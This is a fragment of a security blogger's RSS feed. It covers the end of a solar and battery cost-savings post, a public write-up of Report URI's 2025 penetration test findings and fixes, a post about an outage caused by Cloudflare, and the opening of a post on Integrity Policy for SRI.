quite impressive results.</p><p>Peak rate: 17,300 kWh x &#xA3;0.28/kWh = &#xA3;4,844<br>Peak rate with solar: 14,100 kWh x &#xA3;0.28 = &#xA3;3,948</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211<br>Off-peak rate with solar: 14,100 kWh x &#xA3;0.07/kWh = &#xA3;987</p><p>This means there&apos;s a potential swing from &#xA3;4,844 down to &#xA3;987 with solar and battery, a total potential saving of &#xA3;3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from &#xA3;350-&#xA3;400 per month down to &#xA3;50-&#xA3;100 per month depending on the time of year. But it gets better.</p><p></p><h4 id="exporting-excess-energy">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at &#xA3;0.07/kWh, and then export it during the peak rate for &#xA3;0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-7.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="988" height="623" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-7.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-7.png 988w" sizes="(min-width: 720px) 720px"></figure><p></p><p>And here is our electricity export data:</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-6.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="983" height="706" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-6.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-6.png 983w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is &#xA3;0.45/day so about &#xA3;13.50 per month to go on any given month, but looking at the raw energy costs, it&apos;s impressive.</p><p></p><h4 id="the-final-calculation">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid &#xA3;1,211 for the year. Adding up all of our monthly charges, our total for the year was &#xA3;1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = &#xA3;1,608.11 - (365 * &#xA3;0.45)<br><strong>Total import = &#xA3;1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = &#xA3;886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>&#xA3;557.37</strong>! To put this another way, the effective rate of our electricity is now just &#xA3;0.03/kWh.</p><p>&#xA3;557.37 / 17,300kWh = <strong>&#xA3;0.03/kWh</strong></p><p></p><h4 id="but-was-it-all-worth-it">But was it all worth it?</h4><p>That&apos;s a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>&#xA3;17,580 - Powerwalls #1 and #2 installed.<br>&#xA3;13,940 - Solar array installed.<br>&#xA3;7,840  - Powerwall #3 installed.<br>Total cost = &#xA3;39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been &#xA3;3,632.86:</p><p>11,533 kWh x &#xA3;0.28/kWh = &#xA3;3,229.24<br>5,766 kWh x &#xA3;0.07/kWh = &#xA3;403.62<br>Total = &#xA3;3,632.86</p><p></p><p>Instead, our costs were only &#xA3;557.37, meaning we saved &#xA3;3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~&#xA3;0, and that&apos;s our goal.</p><p>Having our full costs returned in ~11 years is definitely something we&apos;re happy with, and we&apos;ve also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>
    <thead>
    <tr>
    <th style="text-align:right">Year</th>
    <th style="text-align:right">Cumulative savings (&#xA3;)</th>
    <th style="text-align:right">ROI (%)</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td style="text-align:right">1</td>
    <td style="text-align:right">3,632.86</td>
    <td style="text-align:right">9.23%</td>
    </tr>
    <tr>
    <td style="text-align:right">2</td>
    <td style="text-align:right">7,265.72</td>
    <td style="text-align:right">18.46%</td>
    </tr>
    <tr>
    <td style="text-align:right">3</td>
    <td style="text-align:right">10,898.58</td>
    <td style="text-align:right">27.69%</td>
    </tr>
    <tr>
    <td style="text-align:right">4</td>
    <td style="text-align:right">14,531.44</td>
    <td style="text-align:right">36.92%</td>
    </tr>
    <tr>
    <td style="text-align:right">5</td>
    <td style="text-align:right">18,164.30</td>
    <td style="text-align:right">46.15%</td>
    </tr>
    <tr>
    <td style="text-align:right">6</td>
    <td style="text-align:right">21,797.16</td>
    <td style="text-align:right">55.38%</td>
    </tr>
    <tr>
    <td style="text-align:right">7</td>
    <td style="text-align:right">25,430.02</td>
    <td style="text-align:right">64.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">8</td>
    <td style="text-align:right">29,062.88</td>
    <td style="text-align:right">73.84%</td>
    </tr>
    <tr>
    <td style="text-align:right">9</td>
    <td style="text-align:right">32,695.74</td>
    <td style="text-align:right">83.07%</td>
    </tr>
    <tr>
    <td style="text-align:right">10</td>
    <td style="text-align:right">36,328.60</td>
    <td style="text-align:right">92.30%</td>
    </tr>
    <tr>
    <td style="text-align:right">15</td>
    <td style="text-align:right">54,492.90</td>
    <td style="text-align:right">138.43%</td>
    </tr>
    <tr>
    <td style="text-align:right">20</td>
    <td style="text-align:right">72,657.20</td>
    <td style="text-align:right">184.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">25</td>
    <td style="text-align:right">90,821.50</td>
    <td style="text-align:right">230.76%</td>
    </tr>
    </tbody>
    </table>
    <p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost &#xA3;0, and we have to consider that, but it&apos;s doing pretty darn good. If we hadn&apos;t needed to add that third Powerwall, this would have been so much better too. We&apos;ll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id="onwards-to-2026">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I&apos;m happy with all of our Home Assistant automations, we&apos;re going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting &#x1F44D;</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Report URI Penetration Test 2025]]></title>
                <description><![CDATA[<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly,</p>]]></description>
                <link>https://scotthelme.ghost.io/report-uri-penetration-test-2025/</link>
                <guid isPermaLink="false">693822108d605500017a6622</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Penetration Test]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 15 Dec 2025 15:36:37 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp" alt="Report URI Penetration Test 2025"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly, just as before, and we&apos;ll be covering a full run down of what was found and what we&apos;ve done about it. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/12/image.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1915" height="356" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/12/image.png 1600w, https://scotthelme.ghost.io/content/images/2025/12/image.png 1915w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="penetration-tests">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2020</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2021</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2022</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2023</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Penetration Test 2024</a></p><p></p><h4 id="the-results">The Results</h4><p>2025 has been another good year for us as we&apos;ve continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we&apos;ve also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full &apos;guidebook&apos; on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-1.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="724" height="409" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/12/image-1.png 724w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let&apos;s look at that Medium severity first. </p><p></p><h4 id="csv-formula-injection">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it&apos;s way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-2.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1553" height="543" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-2.png 1553w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it&apos;s not a problem specific to NEL reports, it&apos;s possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-3.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1005" height="671" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-3.png 1005w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href="https://troyhunt.com/?ref=scotthelme.ghost.io" rel="noreferrer">Troy Hunt</a>, who runs <a href="https://haveibeenpwned.com/?ref=scotthelme.ghost.io" rel="noreferrer">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy&apos;s account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it&apos;s meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn&apos;t a universal way to sanitise CSV because it depends on what application you&apos;re going to open it with, something I discovered when testing out our fix!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-4.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1140" height="582" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-4.png 1140w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I&apos;m happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id="vulnerabilities-in-outdated-dependencies">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I&apos;m pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn&apos;t do about them. </p><h6 id="bootstrap-v3x">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href="https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we&apos;re happy to keep using our own version. </p><h6 id="jquery-cookie-v141">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href="https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) which is why our own tooling hasn&apos;t flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href="https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) but I can&apos;t find other data to back that up, including their own link to Snyk which doesn&apos;t list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I&apos;m happy to say that we can consider this as resolved too.</p><p></p><h4 id="insufficient-session-expiration">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I&apos;m leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you&apos;ve been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we&apos;re currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id="insecure-tls-configuration">Insecure TLS Configuration
    </h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they&apos;re always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it&apos;s very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We&apos;re doing so well in fact that we get an A grade on the SSL Labs test (<a href="https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&amp;ref=scotthelme.ghost.io" rel="noreferrer">results</a>):</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-5.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1284" height="671" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-5.png 1284w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id="no-account-lockout-or-timeout-mechanism">No Account Lockout or Timeout Mechanism
    </h4><p>This is a controversial topic and it&apos;s quite interesting to see it come up because we specifically cover this in the <a href="https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk" rel="noreferrer">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it&apos;s often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy&apos;s account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying &apos;after 5 unsuccessful login attempts we will lock the account and require a password reset&apos;, or perhaps say &apos;after 5 unsuccessful login attempts you will not be able to login again for 3 minutes&apos;. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy&apos;s account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It&apos;s for this reason I&apos;m generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare&apos;s Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there&apos;s a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id="thats-a-wrap">That&apos;s a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I&apos;m really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer&apos;s data, has paid off. </p><p>As we look forward to 2026 our &quot;Development Horizon&quot; project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href="https://report-uri.com/?ref=scotthelme.ghost.io#footer" rel="noreferrer">footer of our site</a>!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Report URI - outage update]]></title>
                <description><![CDATA[<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>]]></description>
                <link>https://scotthelme.ghost.io/report-uri-outage-update/</link>
                <guid isPermaLink="false">691dee03d9c78000011bd122</guid>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 19 Nov 2025 21:24:19 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp" alt="Report URI - outage update"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-happened">What happened?</h4><p>I&apos;m sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href="https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io" rel="noreferrer">on their blog</a>. It&apos;s always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id="our-infrastructure">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="991" height="280" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png 991w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/11/image.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="1507" height="733" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/11/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/11/image.png 1507w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can&apos;t reach our service and send the telemetry to us, it has no negative impact on our customer&apos;s websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it&apos;s unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id="the-recovery">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here&apos;s that same view for the server above.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="997" height="285" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="994" height="282" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/global-telemetry.png 600w, https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png 994w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it&apos;s difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id="looking-forwards">Looking forwards</h4><p>I&apos;ve always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we&apos;ve faced and the changes we&apos;ve made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we&apos;re still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I&apos;m not looking for service providers that promise to never have issues, I&apos;m looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It&apos;s also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Integrity Policy - Monitoring and Enforcing the use of SRI]]></title>
                <description><![CDATA[<p>This has been a long time coming so I&apos;m excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png" class="kg-image" alt loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="sri-refresher">SRI refresher</h4><p>For those that aren&apos;t familiar, or would like a quick refresher, here&</p>]]></description>
                <link>https://scotthelme.ghost.io/integrity-policy-monitoring-and-enforcing-the-use-of-sri/</link>
                <guid isPermaLink="false">691b2097bb6a68000181de36</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Integrity Policy]]></category>
                <category><![CDATA[javascript]]></category>
                <category><![CDATA[integrity]]></category>
                <category><![CDATA[Integrity Suite]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 19 Nov 2025 15:01:02 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp" alt="Integrity Policy - Monitoring and Enforcing the use of SRI"><p>This has been a long time coming so I&apos;m excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png" class="kg-image" alt="Integrity Policy - Monitoring and Enforcing the use of SRI" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="sri-refresher">SRI refresher</h4><p>For those that aren&apos;t familiar, or would like a quick refresher, here&apos;s the TLDR of SRI - Subresource Integrity. When loading assets from a 3rd-party, especially JavaScript, it&apos;s a good idea to have some control over what exactly it is you&apos;re loading. A typical script tag will allow <em>any</em> script to load in your page, but SRI gives you the ability to make sure the JavaScript you&apos;re getting is the JavaScript you wanted... It&apos;s all done with the simple addition of an integrity attribute:</p><p></p><pre><code>&lt;script
    src=&quot;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js&quot; 
